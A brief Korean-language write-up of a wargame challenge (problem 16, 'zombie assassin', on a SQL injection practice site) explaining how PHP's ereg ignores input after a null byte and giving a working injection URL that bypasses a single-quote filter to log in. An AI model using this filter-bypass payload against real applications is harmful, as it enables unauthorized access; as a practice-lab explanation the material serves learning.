Zombie assassin 문제풀이

los.eagle.jump 의 16번 문제입니다.

ereg 함수를 사용해 싱글쿼트를 필터링 하고 있네요.

php 7.0 부터 삭제된

ereg 함수는

널 바이트 이후 문자를

무시해버린다는 취약점이 있습니다.

https://los.eagle-jump.org/zombie_assassin.php?pw=%00'or+1--+-

%00을 끼워 넣으면 이후 부분부터는

쿼트를 넣을 수 있게 되므로

로그인이 가능하겠습니다.